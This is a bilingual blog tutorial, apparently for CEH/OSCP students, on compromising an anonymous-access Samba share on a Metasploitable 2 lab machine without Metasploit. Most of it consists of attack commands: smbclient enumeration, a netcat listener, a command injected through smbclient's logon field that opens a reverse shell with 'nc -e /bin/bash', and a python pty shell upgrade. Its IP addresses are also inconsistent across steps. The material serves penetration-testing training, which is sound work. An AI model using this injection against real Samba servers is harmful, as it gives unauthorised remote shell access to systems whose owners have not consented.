This post is about exploitation smb port 445 running on remote Linux system, our target is take remote access via unprotected samba server without using any exploitation tool or framework

Các bài liên quan : NetCat, Leo Thang Đặc Quyền Trên Linux …

Tóm tắt các bước và bài hướng dẫn thực hành với Metasploit cho học viên CEH v11 và No_Metasploit cho lớp CrackOSCP

Hack Samba trên Metasploitable 2
CEHVIETNAM @ https://www.cehvietnam.com
1 – recon
2 – scan with nmap

thấy port 139/445 dịc vụ samba 3.x – 4.x

3 – tìm hiểu trên google về khả năng exploit
searchsploit samba command

4 – thử khai thác với metasploit theo hướng ceh v11
5 – khai thác thủ công theo hướng crack oscp
quét thêm với enum4linux
sử dụng smbclient để tìm xem có khả năng anonymous logon hay không
smbclient -L 192.168.1.131
thấy thư mục tmp ccho anon login, rất tiềm năng

mở 2 terminal
1 / trên kali lắng nghe qua port 4444
2 // #smbclient //192.168.75.131/tmp
help để xem lệnh , có lệnh logon, thử tạo reverse với lệnh này dùng nc
logon “/=nc ‘192.168.75.130’ 4444 -e /bin/bash

nâng cấp shell
python -c “import pty;pty.spawn(‘/bin/bash’);”

Hãy chạy lab với Kali vs Metasploitabe 2

Step 1. Scan target machine and check for SMB open port, in my case target ip is 192.168.1.134

Target m/c → 192.168.174.134

Attacker m/c → 192.168.75.129 (kali linux)

kindly note that all task has bene performed inside attacker m/c 192.168.1.129

Image for post

Use SMB client and check for anonymous access

smbclient -L 192.168.1.134

{password is othing just hit enter}

Image for post

since we know that “tmp” directory is present and there anonymous access over system let

let’s open netcat for accepting reverse connection in terminal -1

nc -lvp 7777

In terminal 2 Let take access to tmp directory directly on samba server using

smbclient //192.168.1.134/tmp

Image for post

type help command in terminal 2

Image for post

Since logon command is there we can make reverse connection using the same

logon “/=`nc ‘attack box ip’ 4444 -e /bin/bash`”

Image for post

in terminal 1 you will get reverse shell

Image for post

Type following command to take terminal view from shell in terminal 1

python -c “import pty;pty.spawn(‘/bin/bash’);”

Image for post
now you have reverse connection inot your attacker machine with interactive terminal access

1 bình luận cho “Exploiting SMB(samba) without Metasploit”

  1. Ảnh đại diện Pentest With Kali Linux [PWK v1] Module 4 Active Information Gathering p3 – CEH VIỆTNAM – Trung Tâm Đào Tạo CEH – CHFI – ECSA – CEH MASTER – PENTEST+

    […] thông tin của dich vụ smb, bài này các bạn xem phần trình bày của tôi trên video khai thác samba của M2, ngoài ra phải đào sâu thêm qua các bài tập chuyên smb enum của hacking article rồi […]

    Thích

Trả lời

Bạn cần phải đăng nhập để gửi bình luận:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s

%d người thích bài này: